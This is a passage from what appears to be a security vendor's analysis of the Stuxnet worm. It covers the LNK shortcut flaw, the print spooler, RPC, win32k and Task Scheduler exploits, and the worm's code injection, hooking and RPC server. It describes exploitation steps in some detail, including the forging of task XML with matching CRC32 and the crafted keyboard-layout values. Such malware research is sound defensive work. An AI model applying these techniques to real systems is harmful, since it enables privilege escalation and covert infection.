and the icon for a .LNK file is loaded from a CPL file (Windows Control Panel file). Actually, the CPL file
represents a conventional dynamic link library and this is the crux of the vulnerability. The role of the
payload module will be indicated in the path to the CPL file.

Figure 3.2 – Information about CPL File

So below we can see the general scheme of the Shell Link (. LNK) Binary File Format(http://www.stdlib.com/art6-Shortcut-File-Format-lnk.html).

Figure 3.3 – Scheme of Shell Link (.LNK) Binary File Format

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The most interesting feature here is hidden in the File Location Info field, which specifies the path fromwhich the CPL file should be loaded. A vulnerability was found in Windows Shell which could allow code
execution if the icon of a specially crafted shortcut is merely displayed. Here is a malicious .LNK file froman infected USB flash drive:

Figure 3.4 – Malware .LNK File from an Infected USB Flash Drive

In the File Location Info field there is a path to the file that contains the payload that should beexecuted. In this case, the path points to an external drive, and when this is viewed in Windows Explorer
it causes the system to execute ~wtr4141.tmp. More information on the distribution using external USB
and media devices can be read in the section devoted to precisely this functionality.
In all the analyzed malicious .LNK files we have seen, there is a feature that consists of two GUID
sequences. These sequences indicate the following:

Figure 3.5 – GUID from .LNK Files

The .LNK file most likely points to and loads a CPL file. When the directory containing the crafted .LNK
exploit is opened with Windows Explorer, the following chain of function calls will eventually lead to afunction call LoadLibraryW(). When the function LoadLibraryW() is called, the malware DLL will be
executed.

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Figure 3.6 – A Chain of Calls

If we trace this chain of calls in the debugger, we see confirmation of all the facts described above. Thus
we can execute any malicious module, as LoadLibraryW() receives as a parameter the path to themodule, which it must perform and no additional inspections are not happening.

Figure 3.7 –Loading Malicious ModuleThis vulnerability highlights the fact that like many other bugs, this error has found its way into thearchitecture of fundamental mechanisms, in this case for processing LNK files. Vulnerabilities which, asin this case, are symptomatic of fundamental design flaws are a nightmare for developers of any
program, because they are always difficult and time-consuming to fix.
3.1.1 Propagation via External Storage Devices
Since the vulnerability is based on the mechanism for the display .LNK files, it is possible to distributemalware via removable media and USB drives without using Autorun-related infection. This propagation
vector was used in the Stuxnet attack.
3.1.2 Metasploit and WebDAV Exploit
A few days after the public debate concerning .LNK PoC exploitation, the Metasploit Framework
released code including implementation of the exploit in order to allow remote attacks(http://www.metasploit.com/modules/exploit/windows/browser/ms10_046_shortcut_icon_dllloader),Prior to the release of this exploit, it was believed that this vulnerability is not exploitable for remoteattacks. Researchers from the Metasploit Project showed that this was not the case, by using the UNC
path to the WebDAV service (http://msdn.microsoft.com/en-us/library/cc227098(PROT.10).aspx). Thisvulnerability is still functional. This exploit used a WebDAV service that can be used to execute anarbitrary payload when accessed as a UNC path by following the link generated by Metasploit that
displays the directory containing .LNK file and DLL module with payload.
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Figure 3.8 – WebDAV Directory Generated by Metasploit

The .LNK file contains the network path to the module with the payload.

Figure 3.9 – .LNK File Generated by Metasploit

The vulnerability in .LNK files and the recently discovered DLL Hijacking vulnerability(http://www.microsoft.com/technet/security/advisory/2269637.mspx) have much in common, both in
the nature of their appearance, and in the ways in which they’ve been exploited.

3.1.3 What Do DLL Hijacking Flaws and the LNK Exploit have in Common?
While we have been writing this report public information was released about DLL Hijacking flaws(Microsoft Security Advisory 2269637) and we noted some association with or resemblance to the .LNK
files vulnerability. Both vulnerabilities are inherent design flaws and in both cases the function
LoadLibrary() is used. The directory where the exploitative file is found can be situated in a USB drive, an
extracted archive, or a remote network share. In both cases we find spoofed paths to a loadable moduleand the possibility of a remote attack via the WebDAV service.
What other vulnerabilities are stored in Windows operating systems, nobody knows. Most likely, thisvector of attack will undergo a thorough research and it might be that something else equallyinteresting is awaiting us in the near future.

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3.2

LNK Vulnerability in Stuxnet

This is the first way in which the rootkit distributes itself. When you inspect a flash USB drive infectedwith the Stuxnet worm you can expect to find 6 files there as on the following screenshot:

Figure 3.10 – The Worm’s Files on a USB Flash Drive

Copy of Shortcut to.lnk;
Copy of Copy of Shortcut to.lnk;
Copy of Copy of Copy of Shortcut to.lnk;
Copy of Copy of Copy of Copy of Shortcut to.lnk;~WTR4141.TMP;~WTR4132.TMP.
The first four files are LNK files – these are the files that specify how the Icon of other files should be
displayed. The files with LNK extension are different: here is an example of the contents of one of them:

Figure 3.11 – Contents of the .LNK FilesThe worm exploits the CVE-2010-2568 vulnerability (see section The LNK exploit for details) to infect thesystem. You can see in the figure above the highlighted name of the module to be loaded during the
exploitation of the vulnerability. When a user tries to open an infected USB flash drive with anapplication that can display icons for shortcuts, the file with the name ~WTR4141.TMP is loaded and its
entry point is called. The file is, in fact, a dynamic link library, the main purpose of which is to load
another file with the name ~WTR4132.TMP from the infected flash drive.

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The files with the .LNK filename extension are essentially the same except they specify different paths tothe single file:\\.\STORAGE#Volume#_??_USBSTOR#Disk&Ven_____USB&Prod_FLASH_DRIVE&Rev_#1
2345000100000000173&0#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}#{53f5630d-b6bf-11d094f2-00a0c91efb8b}\~WTR4141.tmp;\\.\STORAGE#Volume#1&19f7e59c&0&_??_USBSTOR#Disk&Ven_____USB&Prod_FLASH_DRIVE&Rev_#12345000100000000173&0#{53f56307-b6bf-11d0-94f200a0c91efb8b}#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\~WTR4141.tmp;\\.\STORAGE#RemovableMedia#8&1c5235dc&0&RM#{53f5630d-b6bf-11d0-94f200a0c91efb8b}\~WTR4141.tmp;\\.\STORAGE#RemovableMedia#7&1c5235dc&0&RM#{53f5630d-b6bf-11d0-94f200a0c91efb8b}\~WTR4141.tmp.
All these strings specify a path to the file located on the removable drive, and are used instead of a shortform of the path with a drive letter. The first part of the path to the file (before the backslash "\" thatprecedes the filename) is a symbolic link name referring to the corresponding volume, as we can see on
the figure below:

Figure 3.12 – Symbolic Link Names of Volumes

The first entry in figure 3.12 corresponds to the volume representing a USB flash drive, the name ofwhich is \Device\HarddiskVolume5. Notably, that drive letters are symbolic link names too that refer tothe same device objects:

Figure 3.13 – Drive letters

Stuxnet uses the long versions of pathnames because it is impossible to predict what letter corresponds
to a removable drive in a remote system, and as a result, the short paths are likely to be incorrect insome cases. The longer variant of a path is constructed with respect to certain rules and configuration
information obtained from the hardware, so that we can predict with considerable accuracy whatsymbolic link name corresponds to a device on a remote machine.
The rules according to which these symbolic links are constructed vary depending on the operating
system, which is why Stuxnet uses four distinct .LNK files. For instance, the first entry in the list
presented above won't work on Windows XP but will work on Windows 7, the second entry works on
Windows Vista, while the last two entries work on Windows XP, Windows Server 2003 and Windows
2000.

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3.3

The MS10-061 Attack Vector

Another way in which the worm replicates itself over the network exploits a vulnerability in Window
Spooler (MS10-061). Machines with file and printer sharing turned on are vulnerable to the attack. Thisvulnerability results in privilege escalation allowing a remote user using a Guest account to write into
%SYSTEM% directory of the target machine.
The attack is performed in two stages: during the first stage the worm copies the dropper and additional
file into Windows\System32\winsta.exe and Windows\System32\wbem\mof\sysnullevnt.mof
respectively, while at the second stage the dropper is executed.
The first stage exploits the MS10-061 vulnerability. Under certain conditions the spooler improperly
impersonates a client that sends two “documents” for printing as we can see on the figure below.

Figure 3.14 – "Printing" Malicious Files into Files in %SYSTEM% Directory

These documents are “printed” to files in the %SYSTEM% directory while a user has Guest
privileges that shouldn’t entail access rights to the %SYSTEM% directory. During exploitation of thevulnerability, a thread of the process spoolsv.exe calls an API function StartDocPrinter() with parameter
specifying the following information about document to be printed:

typedef struct _DOC_INFO_1 {LPTSTR pDocName;// Default

LPTSTR pOutputFile;// winsta.exe or wbem\mof\sysnullevnt.mof

LPTSTR pDatatype;// RAW} DOC_INFO_1;

In the middle of September 2010, Microsoft released a security patch to fix MS10-061. We havecompared the original executable spoolsv.exe with the patched executable and found some functional
differences. One of the most important differences concerns the YStartDocPrinter function which is
eventually called in order to print a document. On the figure below we provide a graphicalrepresentation of the functions.

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Figure 3.15 – Functional Changes in the Patched Version

The left-hand side represents the patched function while on the right-hand the original is displayed. The
functions are in general the same, but some additional checks have been added, and these arehighlighted in red. Before printing a document the function performs the following checks:
whether the caller belongs to Local group;
whether OutputFile parameter is NULL or equal to a port name of the printer: otherwisea client needs to have appropriate access rights to write to the specified file.
The sequence of check is presented on the figure below.

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Figure 3.16 – Additional Checks Implemented by Microsoft

The second stage of the attack employs the file wbem\mof\sysnullevnt.mof : that is, a Managed Object
Format file. Files of this type are used to create or register providers, events, and event categories for
WMI. Under certain conditions this file runs winsta.exe (the dropper) and its execution by the system
results in the infection of the system.

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3.4

Network Shared Folders And RPC Vulnerability (MS08-067)

The worm is also capable of distributing itself over the network through shared folders. It scans network
shares c$ and admin$ on the remote computers and installs a file (dropper) there with the name
DEFRAG<GetTickCount>.TMP, and schedules a task to be executed on the next day:rundll.exe "C:\addins\DEFRAGdc2d0.TMP", DllGetClassObject

Figure 3.17 – Stuxnet Schedules Dropper Execution on the Next Day

Stuxnet’s exploitation of the MS08-67 vulnerability to propagate itself through the network is
comparable to the use of the same vulnerability by the network worm Conficker. Its exploit is
implemented as a separate module. We have compared the two exploit implementations in Conficker
and Stuxnet and found that the shell codes that have been used are different. Stuxnet's shell code israther sophisticated and employs advanced techniques that have recently become widely spread suchas ROP (return oriented programming).

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3.5 0-day in Win32k.sys (MS10-073)
When the Win32/Stuxnet worm didn’t have enough privileges to install itself in the system it exploited arecently patched (MS10-73) 0-day vulnerability in the win32k.sys system module to escalate privilege
level up to SYSTEM, which enabled it to perform any tasks it likes on the local machine. The vulnerable
systems are:Microsoft Windows 2000;
Unpatched Windows XP (all service packs).
Actually, in theory, it is possible to exploit this vulnerability on the other systems as the code pertaining
to the vulnerability exists (see figure 3.17), but there are no known ways to reach it (i. e. the code thattransfers control to the shell code) and as a result the shell code won't be executed.
To perform this trick, Stuxnet loads a specially crafted keyboard layout file, making it possible to execute
arbitrary code with SYSTEM privileges. The escalation of privileges occurs while dispatching input fromthe keyboard in Win32k.sys module. While processing input from the keyboard using the
NtUserSendInput system service, the following code is executed:

Figure 3.18 – A fragment of the executed code during processing keyboard input

The purpose of this code is to determine how to dispatch virtual key code of the pressed button.
Register ecx specifies the type of the handler according to the current keyboard layout to be called in_aNLSVKProc procedure table. This table consists of three handlers:Figure 3.19 – _aNLSVKProc procedure table

As we can see from the figure above (3.18), the _aNLSVKProc is followed by 3 DWORDs, the last ofwhich (highlighted in red) can be interpreted as a pointer pointing to 0x60636261 in the user-mode
address space. Thus, if we set the ecx register in the code in figure 1 with the proper value, namely 5,then we can execute code at 0x6036261 with SYSTEM privileges.
We can manipulate the ecx register in this code by loading a specially crafted keyboard layout filespecifying that certain virtual key codes should call the procedure indexed as 5. The keyboard layout fileis a dynamic link library of which the .data section is specially structured. Below we present a structurethat maps virtual keys to corresponding procedures in the table.

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typedef struct _VK_TO_FUNCTION_TABLE {BYTE Vk;// Virtual-key code

BYTE NLSFEProcType;// Index of the procedure in _aNLSVKProc table// corresponding to the virtual key

BYTE NLSFEProcCurrent;
BYTE NLSFEProcSwitch;
VK_FPARAM NLSFEProc[8];VK_FPARAM NLSFEProcAlt[8];} VK_F, *KBD_LONG_POINTER PVK_F;

The worm loads a special keyboard layout file by calling NtUserLoadKeyboardLayoutEx and passing it thefollowing hexadecimal constant 0x01AE0160 as an offTable parameter. The low word of this parameter
specifies the RVA (Relative Virtual Address) of the KBDTABLES structure from the beginning of the file,
while the high word specifies the RVA of KBDNLSTABLES, which is of particular interest. The latterstructure determines the address and size of the array of VK_F structures contained in the file.
typedef struct tagKbdNlsLayer {USHORT OEMIdentifier;
USHORT LayoutInformation;
UINT

NumOfVkToF;

PVK_F pVkToF;
INT// Size of array of VK_F structures// RVA of array of VK_F structures in the// keyboard layout file

NumOfMouseVKey;USHORT *KBD_LONG_POINTER pusMouseVKey;} KBDNLSTABLES, *KBD_LONG_POINTER PKBDNLSTABLES;In figure 3.19 below we present the contents of the .data section where we can see that the structure
KBDNLSTABLES located at RVA 0x1AE specifies one structure VK_F located at RVA 0x01C2.

Figure 3.20 – .data section of the crafted keyboard layout file

As we can see, the keyboard layout file contains exactly one VK_F structure that maps a virtual-key withcode equal to procedure 0 in _aNLSVKProc with indexed as 5.

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One thing we need to do in order to exploit this vulnerability is to allocate a buffer for the code to be
executed at address 0x60636261 as in the case with Stuxnet, which allocates 32KB of memory at
0x60630000 (figure 3.20) and writes shell code at 0x60636261 (figure 3.21):

Figure 3.21 – Stuxnet allocates 32KB of memory at 0x60630000 for shell code

Figure 3.22 – The beginning of the shell code at 0x60636261

Microsoft's patch
On the 13th of October 2010 Microsoft released a security patch that fixes this vulnerability. We've
compared unpatched and patched Win32k.sys modules to understand the way the vulnerability was
fixed. As we expected MS added an additional check in the code handling keyboard input (namely in thefunction xxxEKNLSProcs) to prevent NLSFEProcType field of the VK_F structure of being out of theboundaries _aNLSVKProc table. In the figures below we can see unpatched (figure 3.22) and patched
code (figure 3.23) respectively where the additional check is highlighted with the red border.
As we can see, before calling a procedure from _aNLSVKProc table the check is performed to ensurethat the index of the procedure doesn't exceed the value of 2 (correct values are 0,1,2).

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Figure 3.23 – A part of the xxxEKNLSProcs procedure before patchingwww.eset.com

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Figure 3.24 – A part of the xxxEKNLSProcs procedure after patchingwww.eset.com

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3.6 MS10-092: Exploiting a 0-day in Task Scheduler
Yet another vulnerability that Stuxnet exploits in order to elevate privileges concerns the Task Scheduler
Service implemented in Windows operating systems starting from Windows Vista. Remarkably enough,64-bit version of the operating systems are vulnerable as well as x86 versions. Exploiation of thevulnerability allows Stuxnet to elevate its privileges up to SYSTEM level.
There vulnerability represented a serious flaw in the original design of the service: namely in the way it
controlled integrity of the metadata describing scheduled jobs. In operating systems after Windows
Vista, Task Scheduler creates an xml file with configuration information for each registered job. Thesefiles are usually located in the %SystemRoot%\system32\Tasks folder (if not otherwise specified) andcontain such information as type of the job, path to the executable and command line arguments,
account that the executable will be run under, required privileges and so on.

Figure 3.25 – A part of the configuration file describing a job

In the figure above you can see part of the configuration xml file for a task. The Principals section in thefile defines required privileges for the job, while the Actions section defines what the job should do (toget the full list of possible job actions we refer the reader to MSDN). In particular case as described infigure 3.25 the job will run the notepad application with no command line arguments, using the
LocalSystem account with the highest available privileges.
Although the Task Scheduler directory can be read only by LocalSystem and members of the local
administrators group, the file describing the task scheduled by a user is fully accessible to him as long as
he isn’t a Guest( as can be seen on the following figure 3.26). To protect the integrity of the job
configuration files and prevent users from modifying them (for instance to elevate privileges by
overwriting the Principals section), Task Scheduler calculates a checksum on creating a task. When it istime to start the job, Task Scheduler recalculates it and compares the new check sum to the originalvalue: if they match the job is run.
The flaw in the aforementioned scenario is that Task Scheduler calculates the checksum with the CRC32
algorithm (you can find a description of the algorithm in Appendix D). This is known to be good for
detecting unintentional errors (mainly due to transmitting data through communication channels) but
not intentional as in the case. It is known also that the CRC32 algorithm has linear properties that makeit very easy to create another message with the same checksum as the specified message.

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Figure 3.26 – Access permissions to the Task folder and a task file

This is exactly what Stuxnet does in order to elevate its privileges in unpatched Vista and later operating
systems. Here is a brief summary of the algorithm that Stuxnet uses to exploit the vulnerability:
1.
Create a job that will be run under the current user account with the least available
privileges;
2.
Read the task configuration file corresponding to the task created at step 1 and calculate
its CRC32 checksum;3.
Modify the task configuration file corresponding to the task created at step 1 so that itmatches the same check sum as the original file and set the following properties:
a. Principal Id=LocalSystem (principal for the task that provides security
credentials);b. UserId=S-1-5-18 (SID of the LocalSystem);c. RunLevel=HighestAvailable (run with the highest available privileges);d. Actions Context=LocalSystem (security context under which the actions of thetask are performed);
4. Run the task.
To ensure that the modified file has the same check sum value as the original, it appends a special
comment of the form <!--XY--> to the end of the file and calculates XY (the algorithm for calculating thiswww.eset.com

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value is presented in Appendex E) such that it has the specified CRC32 check sum value. The result ofsuch manipulations is as shown in figure 3.27:

Figure 3.27 – Forged task configuration fileAs a result Task Scheduler will start the task normally with the specified privileges.

Microsoft's patch
On the 14th of December 2010 Microsoft released a security update (MS10-092) to fix the vulnerability
in Windows Task Scheduler service which allows elevation of privilege, as described above. To protect
the integrity of the xml schema describing a task, the service already used the crc-32 algorithm. Thus,
given a task xml schema, it is possible to create another schema with the same checksum.
To fix the vulnerability Microsoft implemented an additional SHA-256 cryptographic hash algorithm tocheck the integrity of a task xml schema. If we look into the updated schedsvc.dll library which
implements the service, we can find a type HashCompute which is not present in the unpatched library:

Figure 3.28 - Available methods of the HashCompute type
The type was implemented to provide integrity checking for the xml schemas that define tasks. Here arecross-references to the HashCompute::ComputeHash method which tell us when the hash value iscalculated and when it is checked:

Figure 3.29 - Cross-references to HashCompute::ComputeHash method
If we look at the implementation of the HashCompute::ComputeHash method, the following code can befound, which calculates hash value of the xml schema:www.eset.com

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Figure 3.30 - Opening handle to Microsoft Enhanced RDA and EAS Cryptographic Provider

Figure 3.31 - Computing SHA-256 of xml schema
The SHA-256 hash function is known to be secure against finding the second pre-image and collisions,unlike the crc-32 checksum algorithm. Thus given an xml schema that define a task it is impossible inpolynomial (real) time to construct another xml schema with the same hash value. This means that it is
no longer possible to exploit the vulnerability on a patched system in the way that Win32/Stuxnet
attempts.

MS10-092 in Win32/Olmarik
A new modification of the notorious rootkit Win32/Olmarik.AIY, also known as TDL4 (you can read
"TDL3: The Rootkit of All Evil?" report for detailed information about previous version of the rootkit)
appeared in the end of November which is capable of elevating privileges on Microsoft Windows
operating systems starting from Windows Vista by means of exploiting the MS10-092 vulnerability.
TDL4's implementation of the code that exploits the vulnerability doesn't essentially differ from that ofStuxnet's code. The rootkit creates a legitimate task by means of the available interface in the system,
then reads the xml schema corresponding to the task directly from the file in the Task Scheduler folder,
and then modifies it:

Fig. 3.32: Modification of xml Schema
It sets certain attributes with the following values:
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Principal Id=LocalSystem ;UserId=S-1-5-18;
RunLevel=HighestAvailable;
Actions Context=LocalSystem;
As a result the rootkit creates an xml schema defining a task that will be run under the LocalSystem
account. Below you can see a part of the schema:www.eset.com

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4

Stuxnet Implementation

This chapter covers the implementation aspects of the worm: namely, its user-mode and kernel-mode
components. A full set of the modules it incorporates can be found in table 4.1.2. The first part of thesection describes Stuxnet’s user-mode functionality and starts with an overview of the main module.
Furthermore, we present information on how Stuxnet injects code into processes in the system, and on
its installation algorithm. We also describe the set of functions exported by the main module, and the
RPC server used for P2P communication. The second part of this section concerns the kernel-mode
drivers that Stuxnet uses to hide its dropper and malicious .LNK files, and inject code into processes so
as to survive after reboot. We also present some information on Stuxnet configuration data and its
remote communication protocol with C&C servers.

4.1

User-mode functionality

There are several modules that constitute the user-mode functionality. The main module that contains
the others is a large dynamic link library. Other modules including kernel mode drivers are stored in the
DLL’s resources.
4.1.1 Overview of the main module
The main module is represented as a large DLL packed with UPX. Its unpacked size is 1233920 bytes(1.18 MB).

Figure 4.1 – Section Table of the Main Module

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Figure 4.2 – Resources of the Main Module

The main module exports 21 functions by ordinal. Each function has its own purpose as will be describedin the section Exported functions.

Figure 4.3 – Export Address Table of the Main Module

4.1.2 Injecting code
The malware employs quite an interesting technique to inject code into the address space of a process
and execute exported functions. The user-mode modules of Stuxnet are implemented as dynamic link
libraries, and exported functions are frequently executed or injected into the address space of a process.
There are two different cases: when a module is loaded into an existing process, or when the module isinjected into a new process.

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4.1.3 Injecting into a current process
Consider the first case, when one of the user-mode components wants to call a function exported byanother component in the context of the calling process. To avoid being detected by antivirus software
the malware loads a module in the following way:1.
It allocates a memory buffer in the calling process for the module to be loaded;2.
It patches Ntdll.dll system library: namely, it hooks the following functions:a.
ZwMapViewOfSection;b.
ZwCreateSection;c.
ZwOpenFile;d.
ZwClose;e.
ZwQueryAttributesFile;f.
ZwQuerySection;
3.
It calls LoadLibraryW API, exported from kerenl32.dll and passing it as a parameter a
specially constructed library name, using the pattern: KERNEL32.DLL.ASLR.XXXXXXXX or
SHELL32.DLL.ASLR.XXXXXXXX, where XXXXXXXX is a random hexadecimal number;
4.
It calls desired exported function;
5.
It calls FreeLibrary API function to free loaded library.
To hook the functions specified above, the malware allocates a memory buffer for code that will
dispatch calls to hooked functions, overwrite some data in MZ header of the image with the code thattransfers control to the new functions, and hook the original functions by overwriting its bodies, theresult of these manipulations is presented on figure 4.4.

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Figure 4.4 – Hooking Functions in ntdll.dll

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The MZ header of ntdll.dll is overwritten with the following code:

Figure 4.5 – Code Injected into MZ Header of ntdll.dll

The purpose of all these manipulations is to load a non-existent library legitimately (at least as far as thesystem is concerned). The hook functions allow the malware to load module as if it were a library thatreally existed. When a library with specific name (KERNEL32.DLL.ASLR or SHELL32.DLL.ASLR) is
requested, these functions map the desired module into the address space of the process. As a result,the loaded module looks like a real dynamic link library except that there is no file with the name of thelibrary on the hard drive, which reduces probability of detection by heuristic methods. Some anti-rootkit
software does detect it and warn users:

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Figure 4.6 – GMER Detected that Loaded Library doesn't have Corresponding File

4.1.4 Injecting into a new process
In the second case when the malware requires the module to be executed in a newly created process it
uses different approach. To achieve this Stuxnet:
1.
Creates a host process;2.
Replaces the image of the process with the module to execute and with supplemental
code that will load the module and call specified export passing parameters (as in the first casedescribed).
Depending on the processes present in the system the malware chooses the host process fromthe following list:
lssas.exe (system process);
avp.exe (Kaspersky);mcshield.exe (McAfee VirusScan);avguard.exe (AntiVir Personal Edition);bdagent.exe (BitDefender Switch Agent);
UmxCfg.exe (eTrust Configuration Engine from Computer Associates International);
fsdfwd.exe (F-Secure Anti-Virus suite);
rtvscan.exe (Symantec Real Time Virus Scan service);
ccSvcHst.exe (Symantec Service Framework);
ekrn.exe (ESET Antivirus Service Process);
tmproxy.exe (PC-cillin antivirus software from TrendMicro);
The malware enumerates processes in the system and if it finds a process whose executable
image has a name present in this list, and which meets certain criteria, then it is chosen to be a host forthe module.

4.1.5 Installation
We can consider the case when ~WTR4141. TMP is loaded due to the vulnerability (CVE-2010-2568) indisplaying shortcuts for icons as described in section 1.6. As soon as the file is loaded it hooks thefollowing functions to hide the worm's files on a flash USB drive.
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In kernel32.dll:
o FindFirstFileW;o FindNextFileW;o FindFirstFileExW;
In ntdll.dll:
o NtQueryDirectoryFile;o ZwQueryDirectoryFile.
This function filters the files that satisfy the following criteria from being displayed:
files with ".LNK" extension of which the file size is equal to 1471 (0x104b) bytes;
files with ".TMP" extension of which the name consists of 12 characters (including filename
extension) in the following format: "~WTRabcd.TMP", where a,b,c,d are digits from 0 to 9 which
sum modulo 10 equals 0 ("~WTR4411.TMP" for example).
This module loads another module. ~WTR4132.TMP, using a method described in previous
section. ~WTR4132.TMP extracts from its section with ".stub" name another component – the main
dynamic link library of Stuxnet - then loads it and calls exported function number 15.

Figure 4.7 – Installation of the Malware

This function checks whether the token of the current user belongs to the group of the local
administrators on the computer: if so, it executes the exported function with ordinal 0x10 in a newprocess. This function installs Stuxnet's components onto the system.

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4.1.6 Exported functions
Here we will describe the functions exported by the main module.
Export 1
This function has the same functionality as the function number 32 except it waits for 60 seconds priorcreating and starting Stuxnet's RPC Server.
Export 2
This function is called in address space of the process with name s7tgtopx.exe and CCProjectMgr.exe
and hooks certain functions by modifying the import address table of the corresponding modules. The
table below gives the names of the patched modules and hooked functions:
Table 4.1.1 – Patched Modules and Hooked Functions

Patched module

Hooked function

Library exporting hookedfunctions7apromx.dll

CreateFileA

kernel32.dll

mfc42.dll

CreateFileA

kernel32.dll

msvcrt.dll

CreateFileA

kernel32.dll

CCProjectMgr.exe

StgOpenStorage

ole32.dll

The hook for CreateFileA monitors opening files with the extension .S7P while the hook for
StgOpenStorage monitors files with extension .MCP.
Export 4
This function performs the full cleanup of the malware from the system. It starts a new process, injects
the main module into it and calls exported function 18 (see 18).
Export 5
This function checks whether the kernel-mode driver MrxCls.sys is properly installed in the system.
Export 6
This function returns current version of Stuxnet installed in the system.
Export 7
The same as function number 6

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Export 9
This function builds Stuxnet's dropper from the files located in the system and runs it. The dropper isconstructed from the following files which seems to be a components of Stuxnet:%Dir%\XUTILS\listen\XR000000.MDX;%Dir%\XUTILS\links\S7P00001.DBF;%Dir%\XUTILS\listen\S7000001.MDX.
%Dir% passed as a parameter by a caller of the function.
Export 10
This function performs the same actions as function number 9 which builds and runs the Stuxnet
dropper. The only difference between these functions is that this function can build the dropper fromthe set of the files used in function number 9 as well as from the following files:%Dir%\GracS\cc_alg.sav;%Dir%\GracS\\db_log.sav;%Dir%\GracS\\cc_tag.sav.
Parameter %Dir% is also specified by a caller.
Export 14
This function manipulates with files which paths it receives as a parameter.
Export 15
This routine initiates infection of the system. See section 4.1.5 for more details.
Export 16
This function installs the malware's components in the system and performs the following tasks:
Drops and installs kernel-mode drivers: MrxNet.sys and MrxCls.sys;
Drops the main dll in %SystemRoot%\inf\oem7A.PNF;
Drops Stuxnet's configuration data in %SystemRoot%\inf\mdmcpq3.PNF;
Creates tracing file in %SystemRoot%\inf\oem6C.PNF;
Drops data file in %SystemRoot%\inf\mdmeric3.PNF;
Injects the main dll into services.exe process and executes the function exported asordinal 32;
Injects the main dll into the s7tgtopx.exe process if any exists, and executes exported
function 2 there.
Export 17
This function replaces s7otbxdx.dll with a malicious DLL. It moves the original library into a file calleds7otbxdsx.dll. The malicious library is a wrapper for the original DLL: that is, it simply passes control tothe original library, except in the case of certain functions which it hooks:
s7_event;
s7ag_bub_cycl_read_create;
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s7ag_bub_read_var;
s7ag_bub_write_var;
s7ag_link_in;
s7ag_read_szl;
s7ag_test;
s7blk_delete;
s7blk_findfirst;
s7blk_findnext;
s7blk_read;s7blk_write;
s7db_close;s7db_open;
s7ag_bub_read_var_seg;
s7ag_bub_write_var_seg;
Export 18
This function completely removes the malware from the system. It performs the following operations:
1.
Restores forged dynamic link library (s7otbxdx.dll) for Siemens software;2.
Notifies user-mode components to shutdown so as to remove them properly;3.
Stops and deletes the MrxCls service (kernel-mode driver);4.
Stops and deletes the MrxNet service (kernel-mode driver);5.
Deletes oem7A.PNF (the main module);
6.
Deletes mrxcls.sys (kernel-mode injector);
7.
Deletes mrxnet.sys (kernel-mode hider);8.
Deletes mdmeric3.pnf;
9.
Deletes mdmcpq3.pnf (Stuxnet's configuration file);
10.
Deletes oem6C.PNF (file with tracing/debugging information).
Export 19
This function drops the following files, used to propagate through USB flash drives, into a specified
location that it receives as a parameter:
Copy of Shortcut to.lnk;
Copy of Copy of Shortcut to.lnk;
Copy of Copy of Copy of Shortcut to.lnk;
Copy of Copy of Copy of Copy of Shortcut to.lnk;~WTR4141.TMP;~WTR4132.TMP.
Export 22
This function is responsible for distributing of Stuxnet through the network by using vulnerabilities
described in the section on Distribution (MS08-67 and MS10-061). Also this function performs
communication (sending and receiving updates) with instances of the worm on the other machines by
RPC mechanism.

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Export 24
This function performs modifications of the Bot Configuration Data.
Export 27
This function implements a component of Stuxnet's RPC Server responsible for handling remote calls.
Export 28
This function exchanges information with the C&C server. It creates and sends the message to the C&C
server as described in the section Remote Communication Protocol. When the message is ready it scansprocesses in the system to find iexplore.exe. If this exists then it injects the main module into it and calls
export function 29, passing the message as a parameter. This function is responsible for performing
actual data exchange with the C&C server. In the event that there is no iexplore.exe in the system, it
calls this function from the address space of the default browser: it starts the default browser as a newprocess, injects into it the main module, and calls the function performing data exchange.

Figure 4.8 – The Scheme for Sending Data

Export 29
This function performs exchange of data with the C&C server. It receives the message to be sent as
input. Much of its functionality is described in the section on the “Remote communication protocol.” Its
purpose is to send data to the remote server and to receive a reply as a binary module that will be
subsequently executed.

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Export 31
This function performs the same actions as function number 9. To build the dropper it can use either ofthe following sets of files:%Dir%\GracS\cc_alg.sav;%Dir%\GracS\\db_log.sav;%Dir%\GracS\\cc_tag.sav.
Or%Dir%\XUTILS\listen\XR000000.MDX;%Dir%\XUTILS\links\S7P00001.DBF;%Dir%\XUTILS\listen\S7000001.MDX.
Which set to use is specified as a parameter as well as %Dir%.
Export 32
This function is called from the services.exe process: otherwise, it won't be executed. This function
starts the RPC server to handle RPC calls made by Stuxnet's user-mode components and creates awindow that drops malicious files onto removable drives.
It registers a window class with the name " AFX64c313" and creates a window corresponding to theclass created. The window procedure of the class monitors WM_DEVICE_CHANGE messages sent when
there is a change to the hardware configuration of a device or the computer. The window procedure of
the class handles only requests with wParam set to DBT_DEVICEARRIVAL. These are sent when a device
or removable media have been inserted and have become accessible (for instance, when a USB flash
drive has been connected to the computer). When this happens, depending on parameters of theconfiguration data, it can either drop malicious files on the drive, or remove them from there.
Moreover, configuration data also specify the minimum number of files that the removable drive should
contain in order to perform infection.
4.1.7 RPC Server
Stuxnet implements an RPC server to communicate with other instances of the worm over the network.
It uses the RPC mechanism to receive updates not only from the remote C&C server but from otherinstances of the worm running on the infected machines in the network. This feature adds flexibility as it
is able to stay updated even without direct connection with C&C server. It requests the version of theworm installed on the remote machine, and if the remote machine is running a more recent version, thenewer version is requested and installed on the requester machine. The following figure illustrates thearchitecture of the server:

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Figure 4.9 – Architecture of Stuxnet's RPC Server

It consists of the two components:
The first component is responsible for handling RPC calls from the local host, i.e. frommodules injected into process within the local system. It is executed within the address space ofthe services.exe process;The second component of the server performs handling RPC calls from remote hosts.
This component is executed within the address space of the process hosting one of thefollowing services: netsvc, rpcss, browser.
Both components implement the same functions. The first five function as outlined on the figure above
are executed by local component only: when these functions are executed they determine which
component calls them, and if it is the component responsible for handling remote calls, they make a callto the local component and exit. This is indicated in the figure with arrows. Stuxnet's RPC Server
implements the following procedures:
RpcProc1 – Returns the version of the worm;
RpcProc2 – Loads a module passed as a parameter into a new process and executes
specified exported function;
RpcProc3 – Loads a module passed as a parameter into the address of the process
executing this function and calls its exported function number 1;
RpcProc4 – Loads a module passed as a parameter into a new process and executes it;
RpcProc5 – Builds the worm dropper;
RpcProc6 – Runs the specified application;
RpcProc7 – Reads data from the specified file;
RpcProc8 – Writes data into the specified file;
RpcProc9 – Deletes the specified file;
RpcProc10 – Works with the files of which the names are intercepted by hooks set up infunction number 2 and writes information in tracing file.

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4.1.8 Resources
Here we will describe the resources of the main module. According to X the module has 13 resources.
The following table summarizes information as to what it contains.

Table 4.1.2 – Resources of the Main Module

Resource ID

Description

201

